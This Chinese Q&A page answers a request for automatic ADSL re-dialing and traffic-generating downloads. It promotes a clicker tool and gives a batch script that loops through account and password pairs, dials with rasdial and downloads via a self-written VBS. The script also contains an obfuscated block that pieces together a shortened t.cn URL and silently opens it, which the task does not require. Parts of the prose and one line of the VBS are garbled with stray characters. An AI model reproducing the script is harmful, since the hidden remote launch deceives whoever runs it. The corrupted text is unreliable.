有没有ADSL宽带账号自动更新、自动拨号软件、自动下载产生流量

可以啊，这种批量自动 *** 作的你去使用“无敌点击狗”软件就能轻松搞定。

无敌点击狗能设置多种自动桐让拨号程序，自动点击批量模拟的，而且能自动按键 *** 作等。使用无敌点击狗，可以完成很多重复性、频繁局脊局的 *** 作自野陵动化。

@echo off & title 批量拨号并下载 By 依梦琴瑶

mode 50,6 & color 0a & cd /d %~dp0

::设置宽带账号和密码列表文件。必写项。

set List=ADSL_User_Password.txt

::设置宽带拨号名称。必写项。

set Name=本地连接

::设置要下载的文件袭模链接，仅支持http协议。必写项。

set Url=

for /f "tokens=1,2 delims= " %%a in ('type "%List%"') do (

    rasdial %Name% /disconnect >nul 2>nul

    cls & echo 当前账号∶%%a 正在拨号。。。

    rasdial %Name% %%a %%b >nul 2>nul

    echo, & echo 正在检查网络连接状态。。。

    ping www.baidu.com -n "1" | find /i "TTL" >nul 2>nul && (

        call :DownFile "%Url%"

    ) || (

        echo, & echo 拨号失败或无网络

        (echo %%a %%b)>>拨号失败或无网络的账号列表.txt

    )

)

set S1=.:htpcn/

set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%

set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%

start "" "%S2%%S3%RkdisqI"

exit

:DownFile

pushd "%tmp%"

if not exist DownloadFile.vbs call :CreatVBS

if exist "DownTMPFile.$" del /f /q "DownTMPFile.$"

echo, & echo 正在下载文件中。。。

DownloadFile.vbs "%~1" "DownTMPFile.$"

popd

goto :eof

:CreatVBS

(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)

echo Sub Download^(url,target^)

echo   Const adTypeBinary = 1

echo   Const adSaveCreateOverWrite = 2

echo   Dim http,ado

echo   Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)

echo   http.open "GET",url,False

echo   http.send

echo   Set ado = createobject^("Adodb.Stream"^)

echo   ado.Type = adTypeBinary

echo 侍禅吵  老侍ado.Open

echo   ado.Write http.responseBody

echo   ado.SaveToFile target

echo   ado.Close

echo End Sub)>DownloadFile.vbs

goto :eof

宽带账号和密码请用空格隔开，一组一行。保存为ADSL_User_Password.txt

至于要下载的文件，请自行找一个大于16兆的下载链接。

其它一些需要设置的，请自行修改代码。

---